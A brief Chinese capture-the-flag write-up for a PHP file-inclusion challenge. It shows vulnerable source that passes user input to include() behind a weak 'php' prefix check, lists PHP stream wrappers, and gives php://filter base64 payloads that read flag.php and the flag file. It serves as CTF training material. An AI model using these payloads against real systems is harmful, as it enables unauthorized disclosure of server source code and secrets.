题目链接

页面源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
if (isset($_GET['file'])) {
if ( substr($_GET["file"], 0, 3) === "php" ) {
echo "Nice!!!";
include($_GET["file"]);
}

else {
echo "Hacker!!";
}
}else {
highlight_file(__FILE__);
}
//flag.php

分析

  1. 提示flag.php
  2. 过滤要求输入为php开头 明显使用伪协议

php伪协议

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
1)file:// 访问本地文件系统

2)http:// 访问HTTP(S)网址

3)ftp:// 访问FTP(S)URL

4)php:// 访问各个输出输入流 php://filter/convert.base64-encode/resource=flag.php

5)zlib:// 处理压缩流

6)data:// 读取数据

7)glob:// 查找匹配的文件路径模式

8)phar:// PHP归档

9)rar:// RAR数据压缩

exp

1
2
3
4
?file=php://filter/convert.base64-encode/resource=flag.php
// 获得base64 解码后提示flag在flag文件中
?file=php://filter/convert.base64-encode/resource=flag
// 获得flag
⬆︎TOP